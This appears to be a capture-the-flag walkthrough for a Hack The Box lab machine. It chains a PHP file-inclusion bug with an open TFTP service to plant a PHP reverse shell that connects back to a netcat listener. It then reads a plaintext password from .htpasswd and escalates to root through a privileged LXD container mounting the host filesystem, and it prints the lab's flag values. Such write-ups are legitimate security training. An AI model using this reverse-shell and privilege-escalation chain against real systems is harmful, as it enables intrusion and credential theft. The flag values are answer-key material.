04.INCLUDED

root@oco:~$ sudo openvpn ~/Downloads/starting_point.ovpn

ENUMERATE SERVICES

root@htb:~$ sudo nmap -sV -sC -T4 {targetIP} -p-
 PORT     STATE SERVICE       VERSION
 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
 | http-title: Site doesn't have a title (text/html; charset=UTF-8).
 |_Requested resource was http://10.129.95.185/?file=home.php
 |_http-server-header: Apache/2.4.29 (Ubuntu)

 * Typically '-sV' is used with Nmap to determine versions, but that's not always enough. 
    - adding the -sC is another good way to determine service versions
       - the -sC option will run safe scripts which are designed to provide useful 
         information without being too intrusive or causing harm to the target systems.
 * the -SC runs the default set of Nmap scripts (NSE scripts), which typically include
   scripts for service enumeration, version detection, and other basic checks.
         
 * use the -Pn option of Nmap when ICMP packets are blocked by the Windows firewall
    - the -PN option treats all hosts as online and will skip host discovery

VULNERABILITY SCANNING

root@htb:~$ sudo nmap --script=vuln {targetIP} -p 22,6789,8080,8443,8843,8880
 PORT   STATE SERVICE
 80/tcp open  http
 |_http-dombased-xss: Couldn't find any DOM based XSS.
 |_http-csrf: Couldn't find any CSRF vulnerabilities.
 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
 | http-internal-ip-disclosure: 
 |_  Internal IP Leaked: 127.0.1.1
 | http-enum: 
 |_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

 * the --script=vuln will run scripts that focus specifically on detecting known 
   vulnerabilities in the service running on port 6379
    - e.g., weak configurations, or known vulnerabilities in the redis service
       - if no results are found then the service may be fully patched!

FOOTHOLD

Submit user flag and root flag.
#walk the application
root@htb:~$ BROWSER > {targetSite:port}
 ...
 
 * looks like the site has a variable named 'file' that could be exploited
    - {http://10.129.95.185/?file=home.php}
       - this is a common way that developers use to dynamically load pages in 
         a website
          - if not programmed correctly it can often lead to the webpage 
            being vulnerable to LFI
          - it's possible to abuse this IOT read any file that is available on 
            the system if the include command is not restricted to just 
            the web directory (e.g. /var/www/html
             - also if the user who is running the web server has privileges to read
               then anything is possible
            
       - functionality
       
         if ($_GET['file']) {
           include($_GET['file']);
         } else {
           header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
         }
 
#perform code review
root@htb:~$ BROWSER > {targetSite:port} > CTRL+U
 
 * nothing found
#attempt to load a file that definitely exists on the system and is readable by all users
root@htb:~$ curl 'http://{targetSite}/?file=/etc/passwd'
 mike:x:1000:1000:mike:/home/mike:/bin/bash
 tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
 
 * tftp by default doesn't require user authentication which  means anyone can connect and upload or download files

 * this  might not work if the inclusion already specifies a working directory similar to the sample below
    - The __DIR__ parameter returns the directory of the current script
      (e.g., /var/www/html), and it concatenates with a given filename. If a 
      path like /etc/passwd is entered, it becomes /var/www/html/etc/passwd, 
      which doesn't exist, so the result is a blank page.
   
   if ($_GET['file']) {
     include( __DIR__ . $_GET['file']);
   } else {
     header("Location: http://$_SERVER[HTTP_HOST]/index.php?file=home.php");
   }
 
 * to bypass this form of restriction, all that is needed is to try path
   traversal methods
    - ../../../etc/passwd
    
root@htb:~$ sudo namp -sU -sC 10.129.95.185 -p-
  PORT     STATE          SERVICE
  68/udp   open|filtered  dhcpc
  69/udp   open|filtered  tftp  
  
root@htb:~$ sudo nmap --script=vuln 10.129.95.185 -p 69
  PORT     STATE   SERVICE
  69/tcp   closed tftp

#chaning LFI and TFTP vulnerability
#this will provide a reverse shell once the malicious PHP file is uploaded via TFTP

root@htb:~$ ifconfig
 ...
 tun0: {ipAddress}

root@htb:~$ curl https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -o shell.php

root@htb:~$ nano shell.php
 ...
 $ip = '127.0.0.1';       //change this
 $port = 1234;            //change this
 
root@htb:~$ sudo apt install tftp

 * this is required to communicate with tftp

root@htb:~$ tftp {targetIP}
tftp> status
 Connected to 10.129.95.185.
 Mode: netascii Verbose: off Tracing: off Literal: off
 Rexmt-interval: 5 seconds, Max-timeout: 25 seconds 
tftp> put shell.php
 Sent 5677 bytes in 0.8 seconds
 
 * the tftp user's directory from the LFI dump of /etc/passwd is tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
    - the default configuration file for tftpd-hpa is /etc/default/tftpd-hpa. 
      the default rootdirectory where files will be stored is /var/lib/tftpboot

tftp> quit

root@htb:~$ nc -nlvp 1234
root@htb:~$ curl 'http://{targetIP:port}/?file=/var/lib/tftpboot/shell.php'

root@htb:~$ nc...
 Listening on 0.0.0.0 1234
 Connection received on {targetI} 56184
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 /bin/sh: 0: can't access tty; job control turned off
 ...
$ python3 -c'import pty;pty.spawn("/bin/bash")'

 * this makes the reverse shell somewhat fully interactive

www-data@included:~$ 
#enumeration
www-data@included:/$ ls -la /var/www/html
 ls -la /var/www/html
 total 88
 drwxr-xr-x 4 root     root      4096 Oct 13  2021 .
 drwxr-xr-x 3 root     root      4096 Apr 23  2021 ..
 -rw-r--r-- 1 www-data www-data   212 Apr 23  2021 .htaccess
 -rw-r--r-- 1 www-data www-data    17 Apr 23  2021 .htpasswd

www-data@included:/$ cat /var/www/html/.htaccess
 cat /var/www/html/.htaccess
 RewriteEngine On
 RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]
 RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]
 #<Files index.php>
 #AuthType Basic
 #AuthUserFile /var/www/html/.htpasswd
 #Require valid-user
 
www-data@included:/$ cat /var/www/html/.htpasswd
 mike:Sheffield19

 * The htpasswd file is used to store usernames and passwords for 
   basic authentication of HTTP users.
 * The htpasswd file contains credentials for HTTP users
 
www-data@included:/$ id mike
 uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
 
www-data@included:/$ su mike
 Password: Sheffield19
 
mike@included:/$ ls /home/mike
 user.txt

mike@included:/$ cat /home/mike/user.txt
 a56ef91d70cfbf2cdb8f454c006935a1
#remove old golang copies
root@htb:~$ sudo apt remove --purge golang-go
root@htb:~$ sudo apt autoremove

#install golang
root@htb:~$ sudo apt search golang-go
 golang-1.23-go

 * as of writing, the one that works for distro builder go.mod and for the its makefile is go-1.23-go

root@htb:~$ sudo apt install golang-1.23-go
root@htb:~$ export PATH=$PATH:/usr/lib/go-1.23/bin

#privesc
mike@included:/$ id mike
 uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
 
 * LXD is a management API for LXC containers that allows users in the local 
   lxd group to perform container-related tasks, without enforcing the calling
   user's specific permissions.
 
root@htb:~$ BROWSER > google.com
 search: lxd exploit
  https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.html#lxdlxc-group---privilege-escalation
  https://www.hackingarticles.in/lxd-privilege-escalation/
  
 * Any user in the local lxd group can escalate to root on the host system 
   without needing sudo rights or a password, even when using the 
   LXD snap package
  
root@htb:~$ BROWSER > https://images.lxd.canonical.com/
 Alpine  3.18  amd64  cloud  2025-05-07 (00:23)
 
 * Download the following:
    - lxd.tar.xz – Contains metadata and configuration for the LXC/LXD image.
    - rootfs.squashfs – Contains the root filesystem of the Alpine image.
 
#compile the distrobuilder for bulding the alpine image locally
root@htb:~$ sudo apt install -y debootstrap rsync gpg squashfs-tools
root@htb:~$ git clone https://github.com/lxc/distrobuilder
root@htb:~$ cd distrobuilder
root@htb:~$ make
 ...

 * The go directive in go.mod only supports major and minor versions
   (e.g., 1.21, 1.22) — not patch versions like 1.23.7.

   #fix the error (if required)
   root@htb:~$ find / -iname go.mod 2>/dev/null
    /home/str1f3/distrobuilder/go.mod
   root@htb:~$ nano /home/str1f3/distrobuilder/go.mod
    go 1.23                       //change go 1.23.7 to 1.23 as it only supports major and minor versions NOT PATCHED VERSION NUMBER

#build the container
root@htb:~$ mkdir -p $HOME/ContainerImages/alpine/
root@htb:~$ cd $HOME/ContainerImages/alpine/
root@htb:~$ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
root@htb:~$ cp ~/Downloads/lxd.tar.xz ~/Downloads/rootfs.squashfs .
root@htb:~$ ls
 alpine.yaml  lxd.tar.xz  rootfs.squashfs

root@htb:~$ sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18

 * change build-lxd to lxc
 
root@htb:~$ ls
 alpine.yaml  lxd.tar.xz  meta.tar.xz  rootfs.squashfs  rootfs.tar.xz
 
root@htb:~$ python3 -m http.server 8080
 Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
 
mike@included:/$ cd /tmp
mike@included:/$ wget http://10.10.14.215:8080/lxd.tar.xz
mike@included:/$ wget http://10.10.14.215:8080/rootfs.squashfs
mike@included:/$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
 <ge import lxd.tar.xz rootfs.squashfs --alias alpine
mike@included:/tmp$ lxc image list
 +--------+--------------+--------+-------------------------------------------------+--------+---------+------------------------------+
 | ALIAS  | FINGERPRINT  | PUBLIC |                   DESCRIPTION                   |  ARCH  |  SIZE   |         UPLOAD DATE          |
 +--------+--------------+--------+-------------------------------------------------+--------+---------+------------------------------+
 | alpine | c1a6af9e2da9 | no     | Alpinelinux 3.18 x86_64 (cloud) (20250509_0024) | x86_64 | 20.79MB | May 10, 2025 at 2:25am (UTC) |
 +--------+--------------+--------+-------------------------------------------------+--------+---------+------------------------------+

#create the container w/ privileges
mike@included:/tmp$ lxc init alpine privesc -c security.privileged=true    
 Creating privesc

mike@included:/tmp$ lxc list
 +---------+---------+------+------+------------+-----------+
 |  NAME   |  STATE  | IPV4 | IPV6 |    TYPE    | SNAPSHOTS |
 +---------+---------+------+------+------------+-----------+
 | privesc | STOPPED |      |      | PERSISTENT | 0         |
 +---------+---------+------+------+------------+-----------+

mike@included:/tmp$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
 <st-root disk source=/ path=/mnt/root recursive=true
 Device host-root added to privesc

mike@included:/tmp$ lxc start privesc
lxc exec privesc /bin/sh

mike@included:/tmp$ lxc exec privesc /bin/sh
~ # id
 uid=0(root) gid=0(root)
~ # ls /mnt/root/root
 root.txt
~ # cat /mnt/root/root/root.txt
 c693d9c7499d9f572ee375d4c14c7bcf
 
 * the filesystem is mounted at /mnt/root
 

Last updated